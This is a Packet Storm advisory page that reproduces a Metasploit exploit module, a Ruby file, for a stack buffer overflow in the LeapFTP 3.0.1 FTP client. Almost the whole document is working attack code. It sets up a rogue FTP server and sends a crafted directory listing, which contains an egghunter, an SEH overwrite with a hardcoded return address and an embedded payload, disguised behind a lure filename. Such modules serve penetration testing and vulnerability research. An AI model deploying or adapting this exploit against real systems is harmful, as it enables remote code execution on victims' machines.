LeapFTP 3.0.1 Stack Buffer Overflow

2010-10-13T00:00:00
ID PACKETSTORM:94658
Type packetstorm
Reporter corelanc0d3r
Modified 2010-10-13T00:00:00

Description

                                        
                                            `##  
# $Id: leapftp_list_reply.rb 10660 2010-10-12 18:39:21Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::FtpServer  
include Msf::Exploit::Remote::Egghunter  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'LeapFTP 3.0.1 Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the LeapFTP 3.0.1 client.  
This issue is triggered when a file with a long name is downloaded/opened.  
},  
'Author' =>  
[  
'corelanc0d3r', # Original bug, completed MSF module  
'nullthreat' # Ported PoC to MSF  
],  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 10660 $",  
'References' =>  
[  
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal', { 'Offset' => 528,'Ret' => 0x0042A8A8 } ], # ADD ESP,64, POP EBX, RET :) boy I love pvefindaddr  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 12 2010',  
'DefaultTarget' => 0))  
end  
  
def setup  
super  
end  
  
def on_client_unknown_command(c,cmd,arg)  
c.put("200 OK\r\n")  
end  
  
def on_client_command_list(c,arg)  
conn = establish_data_connection(c)  
if(not conn)  
c.put("425 Can't build data connection\r\n")  
return  
end  
print_status(" - Data connection set up")  
code = 150  
c.put("#{code} Here comes the directory listing.\r\n")  
code = 226  
c.put("#{code} Directory send ok.\r\n")  
# create the egg hunter  
badchars = ""  
eggoptions =  
{  
:checksum => true,  
:eggtag => "W00T"  
}  
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)  
# Get the file ready  
junk = "\x73\x65" #73 65 = jump over filename = "se"  
junk << "cret admin passwords.txt"  
junk << "_" * ((target['Offset'])-junk.length-hunter.length) # _ = POP EDI  
junk << hunter  
seh = [target.ret].pack('V')  
shellcode = egg + egg + payload.encoded  
junk2 = rand_text_alpha((2000 - shellcode.length))  
payload = junk + seh + shellcode + junk2  
strfile = payload  
print_status(" - Sending directory list via data connection")  
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile}.txt\r\n"  
conn.put("total 2\r\n"+dirlist)  
conn.close  
return  
end  
  
end  
  
`